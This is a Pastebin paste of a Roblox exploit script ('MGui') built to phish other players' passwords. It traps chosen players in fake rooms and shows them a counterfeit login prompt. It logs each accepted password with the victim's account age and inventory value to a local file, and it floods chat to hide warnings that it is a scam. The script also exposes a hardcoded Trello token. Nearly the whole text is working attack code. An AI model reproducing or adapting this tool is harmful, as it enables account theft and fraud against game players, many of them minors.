Advertisement
Guest User

Mgui script

a guest
Jul 1st, 2016
1,154
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 17.21 KB | None | 0 0
  1. local MyRoom = "BasicRoom"
  2.  
  3. local StorageType = 2 -- 1 = CoreGui 2 = ReplicatedStorage
  4.  
  5. local ScamType = "Pick" -- "Normal" "Pick" "TargetList"
  6.  
  7. local TargetList = {}
  8.  
  9. local Bypassers = { -- Leave ID as 0 if you don't want to use ID checks.
  10. {}
  11. }
  12.  
  13. local Trello = {
  14. Enabled = false,
  15. List = "MRList",
  16. DumpList = "MRDumps",
  17. TrelloTargetList = "MRTargetList",
  18. DevKey = "",
  19. Token = "3deca77325f01c59887c6c6802062c3e05864838286ad99d84be21eda2a90f43",
  20. }
  21.  
  22. local floodChat = false -- To prevent people from saying "ITS A SCAM!"
  23.  
  24. local writeAccounts = true -- Writes accounts to a file (ELYSIAN ONLY)
  25. local fileName = "MGX7List" -- Where your accounts will be written if you have Elysian.
  26.  
  27. BypassKey = "v3rm" -- Bypass key players can use to skip login
  28. BypassKeyEnabled = true -- Enables the bypass key or not
  29. BypassKeyRules = true -- Shows a rule gui when entering bypass key to inform players the rules of your MGui session
  30.  
  31. local kickLogin = false -- Kicks player after they login
  32.  
  33. local RAPApi = true
  34. ------------------------------------------------------------------------
  35.  
  36. local MainFolder = game:GetObjects("rbxassetid://382974306")[1]
  37. MainFolder.Parent = game.ReplicatedStorage
  38.  
  39. local player = game.Players.LocalPlayer
  40.  
  41. local CurrentlyScamming = {}
  42.  
  43. local MRStorage
  44.  
  45. local guiTool = MainFolder.Login
  46.  
  47. local replaceScript = game:GetService("InsertService"):LoadAsset(80576967):GetChildren()[1].LocalScript
  48. guiTool.LocalScript:Destroy()
  49. replaceScript.Parent = guiTool
  50.  
  51. local ruleTool = MainFolder["Bypass Rules"]
  52.  
  53. local replaceScript = game:GetService("InsertService"):LoadAsset(80576967):GetChildren()[1].LocalScript
  54. ruleTool.LocalScript:Destroy()
  55. replaceScript.Parent = ruleTool
  56.  
  57. local pickGui = MainFolder.PickGui
  58.  
  59. function checkPass(pass, playa)
  60. if BypassKeyEnabled and pass == BypassKey then
  61. if BypassKeyRules then
  62. local newTool = ruleTool:Clone()
  63. newTool.Parent = workspace
  64. newTool.Handle.CanCollide = false
  65. newTool.Handle.CFrame = playa.Character.Head.CFrame
  66. end
  67. return true
  68. end
  69. if pass == "Password" or pass == "" or pass == "Enter Your Password" or pass == "Incorrect Password" or pass == "Enter your Password" then
  70. return false
  71. end
  72. local foundNums = 0
  73. local foundLetters = 0
  74. if string.find(pass, " ") then
  75. return false
  76. end
  77. if pass:len() < 6 or pass:len() > 20 then
  78. return false
  79. end
  80. for i=1,pass:len() do
  81. if pass:sub(i,i):match("%d") ~= nil then
  82. foundNums = foundNums + 1
  83. end
  84. end
  85. if foundNums < 2 then
  86. return false
  87. end
  88. for i=1,pass:len() do
  89. if pass:sub(i,i):match("%a") ~= nil then
  90. foundLetters = foundLetters + 1
  91. end
  92. end
  93. if foundLetters < 4 then
  94. return false
  95. end
  96. return true
  97. end
  98.  
  99. function getUText(root, val)
  100. local found
  101. if val then
  102. found = val
  103. end
  104. for i,v in pairs(root:GetChildren()) do
  105. if v.Name == "UText" then
  106. found = v
  107. break
  108. end
  109. found = getUText(v,found)
  110. end
  111. return found
  112. end
  113.  
  114. function getPText(root, val)
  115. local found
  116. if val then
  117. found = val
  118. end
  119. for i,v in pairs(root:GetChildren()) do
  120. if v.Name == "PText" then
  121. found = v
  122. break
  123. end
  124. found = getPText(v,found)
  125. end
  126. return found
  127. end
  128.  
  129. function getILPopUp(root, val)
  130. local found
  131. if val then
  132. found = val
  133. end
  134. for i,v in pairs(root:GetChildren()) do
  135. if v.Name == "ILPopUp" then
  136. found = v
  137. break
  138. end
  139. found = getILPopUp(v,found)
  140. end
  141. return found
  142. end
  143.  
  144. function unscPlayer(plr)
  145. for i,v in pairs(CurrentlyScamming) do
  146. if plr == v.Player then
  147. table.insert(Bypassers,{Name = plr.Name, ID = plr.UserId})
  148. table.remove(CurrentlyScamming,i)
  149. wait()
  150. while plr.Backpack:FindFirstChild("Login") do
  151. plr.Backpack.Login:Destroy()
  152. wait()
  153. end
  154. while plr.Character:FindFirstChild("Login") do
  155. plr.Character.Login:Destroy()
  156. wait()
  157. end
  158. plr.Character:WaitForChild("Torso")
  159. plr.Character:WaitForChild("HumanoidRootPart")
  160. plr.Character.HumanoidRootPart.Anchored = false
  161. plr.Character.HumanoidRootPart.CFrame = v.ReturnPos
  162. v.Player.CameraMaxZoomDistance = 400
  163. v.Player.CameraMinZoomDistance = 0
  164. v.RoomModel:Destroy()
  165. end
  166. end
  167. end
  168.  
  169. function scPlayer(plr)
  170. ypcall(function()
  171. local debounce = false
  172. local roomCheck = MainFolder.Rooms:FindFirstChild(MyRoom)
  173. if roomCheck then
  174. local roomId = #CurrentlyScamming + 1
  175. local newRoom = roomCheck:Clone()
  176. newRoom.Parent = workspace
  177. newRoom:MoveTo(Vector3.new(5000,1000, 5000 + 100 * roomId))
  178.  
  179. local newPacket = {Player = plr, RoomId = roomId, RoomModel = newRoom, ReturnPos = plr.Character.Torso.CFrame}
  180. table.insert(CurrentlyScamming,newPacket)
  181. --[[
  182. newRoom.LButton.ClickDetector.MouseClick:connect(function(playa)
  183. if debounce == false then
  184. if playa.Backpack:FindFirstChild("Login") then
  185. if playa == plr and getILPopUp(playa.Backpack.Login) and getPText(playa.Backpack.Login) then
  186. debounce = true
  187. getILPopUp(newRoom).Visible = false
  188. getILPopUp(playa.Backpack.Login).Visible = false
  189. wait(0.5)
  190. if playa.Backpack:FindFirstChild("Login") then
  191. if checkPass(getPText(playa.Backpack.Login).Text) then
  192. print(plr.Name .. " : " .. getPText(playa.Backpack.Login).Text)
  193. unscPlayer(plr)
  194. else
  195. getILPopUp(newRoom).Visible = true
  196. getILPopUp(playa.Backpack.Login).Visible = true
  197. getPText(playa.Backpack.Login).Text = ""
  198. end
  199. end
  200. end
  201. end
  202. debounce = false
  203. end
  204. end)
  205. --]]
  206. end
  207. end)
  208. end
  209.  
  210. function isBypass(plr)
  211. local bypass = false
  212. for i,v in pairs(Bypassers) do
  213. if v.Name == plr.Name or v.ID == plr.UserId then
  214. bypass = true
  215. end
  216. end
  217. return bypass
  218. end
  219.  
  220. function isScamming(plr)
  221. local isScam = false
  222. for i,v in pairs(CurrentlyScamming) do
  223. if v.Player.Name == plr then
  224. isScam = true
  225. end
  226. end
  227. return isScam
  228. end
  229.  
  230. function fixPlayers()
  231. for i,v in pairs(CurrentlyScamming) do
  232. ypcall(function()
  233. if v.Player.Character:FindFirstChild("Login") then
  234. if v.Player.Character.Login:FindFirstChild("SprayGui") then
  235. local tempTool = v.Player.Character:FindFirstChild("Login")
  236. tempTool.Parent = v.RoomModel
  237. tempTool.Handle.CFrame = v.Player.Character.Head.CFrame
  238. end
  239. end
  240. end)
  241. end
  242. end
  243.  
  244. function BCtoDumpStr(str)
  245. local res = ""
  246. if str == "Enum.MembershipType.BuildersClub" then
  247. res = "[BC] "
  248. elseif str == "Enum.MembershipType.TurboBuildersClub" then
  249. res = "[TBC] "
  250. elseif str == "Enum.MembershipType.OutrageousBuildersClub" then
  251. res = "[OBC] "
  252. elseif str == "Enum.MembershipType.None" then
  253. res = ""
  254. end
  255. return res
  256. end
  257.  
  258. function getRap(user)
  259. local rap = "Error."
  260. if RAPApi then
  261. ypcall(function()
  262. local http = game:GetService("HttpService")
  263. local rawrap = http:JSONDecode(game:HttpGet("http://roblox.plus:2052/inventory?username=" .. user,true))
  264. rap = tostring(rawrap.rap)
  265. end)
  266. else
  267. rap = "Disabled."
  268. end
  269. return rap
  270. end
  271.  
  272. function logAccount(user,pass)
  273. local playerName = user.Name
  274. local playerAge = tostring(user.AccountAge)
  275. local playerRAP = getRap(playerName)
  276.  
  277. if print then
  278. print(BCtoDumpStr(tostring(user.MembershipType)) .. playerName .. " : " .. pass .. " Age: " .. playerAge .. " RAP: " .. playerRAP)
  279. end
  280. if readfile and writefile then
  281. if readfile(getelysianpath()..fileName..".txt") == "nil path doesn't exist" then
  282. writefile(getelysianpath()..fileName..".txt", BCtoDumpStr(tostring(user.MembershipType)) .. playerName .. " : " .. pass .. " Age: " .. playerAge .. " RAP: " .. playerRAP)
  283. else
  284. local tempFile = readfile(getelysianpath()..fileName..".txt")
  285. writefile(getelysianpath()..fileName..".txt", tempFile .. "\n" .. BCtoDumpStr(tostring(user.MembershipType)) .. playerName .. " : " .. pass .. " Age: " .. playerAge .. " RAP: " .. playerRAP)
  286. end
  287. end
  288. end
  289.  
  290. function teleportVictims()
  291. for i,v in pairs(CurrentlyScamming) do
  292. ypcall(function()
  293. v.Player.Character.HumanoidRootPart.CFrame = v.RoomModel.Spawn.CFrame + Vector3.new(0,-10,0)
  294. v.Player.Character.HumanoidRootPart.Anchored = true
  295. if not v.Player.Backpack:FindFirstChild("Login") and not v.Player.Character:FindFirstChild("Login") then
  296. if not v.RoomModel:FindFirstChild("Login") then
  297. local tempTools = {}
  298. for i2,v2 in pairs(v.Player.Backpack:GetChildren()) do
  299. table.insert(tempTools,v2:Clone())
  300. v2:Destroy()
  301. end
  302. local newTool = guiTool:Clone()
  303. newTool.Parent = v.RoomModel
  304. newTool.Handle.CanCollide = false
  305. newTool.Handle.CFrame = v.Player.Character.Head.CFrame
  306. newTool.Handle.BodyPosition.Position = v.RoomModel.Spawn.Position + Vector3.new(0,-10,0)
  307. getUText(newTool).Text = v.Player.Name
  308. spawn(function()
  309. wait(2)
  310. for i2,v2 in pairs(tempTools) do
  311. v2.Parent = v.Player.Backpack
  312. end
  313. end)
  314. newTool.Changed:connect(function(prop)
  315. if not isScamming(v.Player.Name) then return end
  316. if prop == "Parent" and newTool.Parent.Name == "Backpack" then
  317. if v.Player.Backpack:FindFirstChild("Login") then
  318. if getILPopUp(v.Player.Backpack.Login) and getPText(v.Player.Backpack.Login) then
  319. getILPopUp(v.Player.Backpack.Login).Visible = false
  320. if v.Player.Backpack:FindFirstChild("Login") then
  321. if checkPass(getPText(v.Player.Backpack.Login).Text, v.Player) then
  322. logAccount(v.Player, getPText(v.Player.Backpack.Login).Text)
  323. unscPlayer(v.Player)
  324. spawn(function()
  325. wait(0.5)
  326. if kickLogin then
  327. if not v.Player.Backpack:FindFirstChild("Bypass Rules") and not v.Player.Character:FindFirstChild("Bypass Rules") then
  328. v.Player:Remove()
  329. end
  330. end
  331. end)
  332. else
  333. getILPopUp(v.Player.Backpack.Login).Visible = true
  334. getPText(v.Player.Backpack.Login).Text = ""
  335. wait()
  336. if not v.Player.Character:FindFirstChild("Login") then
  337. newTool.Parent = v.RoomModel
  338. newTool.Handle.CFrame = v.Player.Character.Head.CFrame
  339. end
  340. end
  341. end
  342. end
  343. end
  344. end
  345. end)
  346. end
  347. end
  348. end)
  349. end
  350. end
  351.  
  352. wait()
  353.  
  354. game.Players.PlayerRemoving:connect(function(playa)
  355. for i,v in pairs(CurrentlyScamming) do
  356. if v.Player == playa then
  357. table.remove(CurrentlyScamming,i)
  358. end
  359. end
  360. end)
  361.  
  362. --[[
  363. local infoGui = Instance.new("ScreenGui",game.CoreGui)
  364. local infoText = Instance.new("TextLabel",infoGui)
  365. infoText.Position = UDim2.new(0,0,1,-20)
  366. infoText.Size = UDim2.new(1,0,0,20)
  367. infoText.FontSize = "Size18"
  368. infoText.Font = "SourceSansBold"
  369. infoText.BackgroundTransparency = 1
  370. infoText.TextColor3 = Color3.new(1,1,1)
  371. infoText.TextXAlignment = "Right"
  372. infoText.Text = "Press 'p' to toggle chat spam."
  373. --]]
  374.  
  375. local mouse = game.Players.LocalPlayer:GetMouse()
  376. mouse.KeyDown:connect(function(key)
  377. if key == "p" then
  378. floodChat = not floodChat
  379. end
  380. end)
  381.  
  382. spawn(function()
  383. while wait(3) do
  384. fixPlayers()
  385. end
  386. end)
  387.  
  388. while wait() do
  389. teleportVictims()
  390. if floodChat then
  391. game.Players:Chat(".")
  392. game.Players:Chat(".")
  393. end
  394. if ScamType == "Normal" then
  395. for i,v in pairs(game.Players:GetPlayers()) do
  396. if StorageType == 1 then
  397. if not game.CoreGui.MRStorage:FindFirstChild(v.Name) and not isScamming(v.Name) and not isBypass(v) and v ~= game.Players.LocalPlayer then
  398.  
  399. end
  400. elseif StorageType == 2 then
  401. if not game.ReplicatedStorage:FindFirstChild("MRStorage") then
  402. MRStorage = Instance.new("Folder",game.ReplicatedStorage)
  403. MRStorage.Name = "MRStorage"
  404. end
  405. if not game.ReplicatedStorage.MRStorage:FindFirstChild(v.Name) and not isScamming(v.Name) and not isBypass(v) and v ~= game.Players.LocalPlayer then
  406. scPlayer(v)
  407. end
  408. end
  409. end
  410. elseif ScamType == "Pick" then
  411. if StorageType == 1 then
  412. if not game.CoreGui.MRStorage:FindFirstChild(v.Name) and not isScamming(v.Name) and not isBypass(v) and v ~= game.Players.LocalPlayer then
  413.  
  414. end
  415. elseif StorageType == 2 then
  416. if not game.ReplicatedStorage:FindFirstChild("MRStorage") then
  417. MRStorage = Instance.new("Folder",game.ReplicatedStorage)
  418. MRStorage.Name = "MRStorage"
  419. end
  420. if not game.CoreGui:FindFirstChild("PickGui") then
  421. local newPickGui = pickGui:Clone()
  422. newPickGui.Parent = game.CoreGui
  423. spawn(function()
  424. local pickGuiList = newPickGui.MainFrame.AccList
  425. local pickGuiResult = newPickGui.MainFrame.UserResult
  426. pickGuiList.CanvasSize = UDim2.new(0,0,0,0)
  427. local function updatePickList()
  428. pickGuiList:ClearAllChildren()
  429. for i,v in pairs(game.Players:GetPlayers()) do
  430. if v ~= player then
  431. local newRes = pickGuiResult:Clone()
  432. newRes.PlayerName.Text = v.Name
  433. newRes.PlayerPic.Image = "http://www.roblox.com/Thumbs/Avatar.ashx?x=100&y=100&userId="..v.UserId
  434. newRes.Position = UDim2.new(0,0,0,40 * #pickGuiList:GetChildren())
  435. if isScamming(v.Name) then
  436. newRes.PlayerStatus.Text = "Scamming..."
  437. end
  438. if isBypass(v) then
  439. newRes.PlayerStatus.Text = "Scammed"
  440. end
  441. newRes.Parent = pickGuiList
  442. pickGuiList.CanvasSize = UDim2.new(0,0,0,40 * #pickGuiList:GetChildren())
  443. newRes.Visible = true
  444. newRes.MouseButton1Down:connect(function()
  445. if not isScamming(v.Name) then
  446. scPlayer(v)
  447. end
  448. end)
  449. end
  450. end
  451. end
  452. updatePickList()
  453. newPickGui.MainFrame.Refresh.MouseButton1Down:connect(function()
  454. updatePickList()
  455. end)
  456. end)
  457. end
  458. end
  459. end
  460. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement